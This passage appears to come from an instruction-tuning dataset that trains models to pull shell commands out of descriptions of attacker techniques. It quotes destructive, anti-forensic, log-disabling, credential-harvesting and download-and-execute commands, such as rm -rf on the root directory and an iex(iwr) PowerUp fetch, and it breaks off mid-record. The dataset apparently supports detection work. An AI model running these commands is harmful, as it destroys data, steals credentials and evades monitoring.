5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To demonstrate the destructive capability used by Amnesia IoT malware, here's the command that irreversibly deletes all files in a Linux system's root directory - warning: this is purely for educational purposes: [ \"$(uname)\" = 'Linux' ] && rm -rf / --no-preserve-root > /dev/null 2> /dev/null || chflags -R 0 / && rm -rf / > /dev/null 2> /dev/null; To delete a single prefetch file, which is a known anti-forensic technique, use the following command: Remove-Item -Path (Join-Path \"$Env:SystemRoot\\prefetch\\\" (Get-ChildItem -Path \"$Env:SystemRoot\\prefetch\\*.pf\" -Name)[0]). Verify execution by running `(Get-ChildItem -Path \"$Env:SystemRoot\\prefetch\\*.pf\" | Measure-Object).Count` before and after to confirm the count decreases by 1.",
    "output": "{\"command_list\": [\"[ \\\"$(uname)\\\" = 'Linux' ] && rm -rf / --no-preserve-root > /dev/null 2> /dev/null || chflags -R 0 / && rm -rf / > /dev/null 2> /dev/null\\n\", \"Remove-Item -Path (Join-Path \\\"$Env:SystemRoot\\\\prefetch\\\\\\\" (Get-ChildItem -Path \\\"$Env:SystemRoot\\\\prefetch\\\\*.pf\\\" -Name)[0])\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable PowerShell Module Logging, Script Block Logging, Transcription, and Script Execution for the current user, run the following commands in the cmd console: reg  add HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging /v EnableModuleLogging /t REG_DWORD /d 0 /f\nreg  add HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging /v EnableScriptBlockLogging /t REG_DWORD /d 0 /f\nreg  add HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription /v EnableTranscripting /t REG_DWORD /d 0 /f\nreg  add HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell /v EnableScripts /t REG_DWORD /d 0 /f\nreg delete HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell /v EnableScripts /f >nul 2>&1; You can configure a driver or service to persist in Safe Mode by executing the registry modification command: REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal\\AtomicSafeMode\" /VE /T REG_SZ /F /D \"Service\"",
    "output": "{\"command_list\": [\"reg  add HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\ModuleLogging /v EnableModuleLogging /t REG_DWORD /d 0 /f\\nreg  add HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\ScriptBlockLogging /v EnableScriptBlockLogging /t REG_DWORD /d 0 /f\\nreg  add HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\Transcription /v EnableTranscripting /t REG_DWORD /d 0 /f\\nreg  add HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell /v EnableScripts /t REG_DWORD /d 0 /f\\nreg delete HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell /v EnableScripts /f >nul 2>&1\\n\", \"REG ADD \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\Minimal\\\\AtomicSafeMode\\\" /VE /T REG_SZ /F /D \\\"Service\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To locate local AWS credentials within a specified directory, you can use the following command: find #{file_path}/.aws -name \"credentials\" -type f 2>/dev/null; The LaZagne tool can be executed with this command to extract all stored credentials: python2 laZagne.py all",
    "output": "{\"command_list\": [\"find #{file_path}/.aws -name \\\"credentials\\\" -type f 2>/dev/null\\n\", \"python2 laZagne.py all\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test helps emulate Gootloader by executing a compressed JavaScript file, resulting in calculator.exe opening, via the command: \"PathToAtomicsFolder\\..\\ExternalPayloads\\temp_T1027js.zip\\T1027js.js\"\n; The process involves opening a .docx file that loads a macro template from a remote source, which can be initiated with this command: start \"#{docx_file}\". Note that Microsoft Office's WINWORD is required for execution.",
    "output": "{\"command_list\": [\"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\temp_T1027js.zip\\\\T1027js.js\\\"\\n\", \"start \\\"#{docx_file}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The ARP table can be inspected with the command: ip neighbour show; The kernel routing tables can be displayed by executing this command: ip route show",
    "output": "{\"command_list\": [\"ip neighbour show\\n\", \"ip route show\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To clear the current shell history and prevent future logging, use the following command sequence: set +o history\necho 'set +o history' >> ~/.bashrc\n. ~/.bashrc\nhistory -c\n; To prevent commands from being logged in the Bash History file, simply add a space before them, like this: hostname\nwhoami\n",
    "output": "{\"command_list\": [\"set +o history\\necho 'set +o history' >> ~/.bashrc\\n. ~/.bashrc\\nhistory -c\\n\", \"hostname\\nwhoami\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To copy and delete mail data on Windows, use the following command sequence:\nNew-Item -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -ItemType Directory -ErrorAction Ignore\nGet-ChildItem -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -Recurse -Force -ErrorAction Ignore }\nRemove-Item -Path \"C:\\Users\\$env:USERNAME\\AppData\\Local\\Comms\\Unistore\\data\\copy\" -Recurse -Force -ErrorAction Ignore; To copy and delete mail data on Linux, use the following command: mkdir -p /var/spool/mail/copy && for file in /var/spool/mail/*; do if [ \"$(basename \"$file\")\" != \"copy\" ]; then cp -R \"$file\" /var/spool/mail/copy/; fi; done && rm -rf /var/spool/mail/copy/*\n",
    "output": "{\"command_list\": [\"New-Item -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -ItemType Directory -ErrorAction Ignore\\nGet-ChildItem -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -Recurse -Force -ErrorAction Ignore }\\nRemove-Item -Path \\\"C:\\\\Users\\\\$env:USERNAME\\\\AppData\\\\Local\\\\Comms\\\\Unistore\\\\data\\\\copy\\\" -Recurse -Force -ErrorAction Ignore\\n\", \"mkdir -p /var/spool/mail/copy && for file in /var/spool/mail/*; do if [ \\\"$(basename \\\"$file\\\")\\\" != \\\"copy\\\" ]; then cp -R \\\"$file\\\" /var/spool/mail/copy/; fi; done && rm -rf /var/spool/mail/copy/*\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines 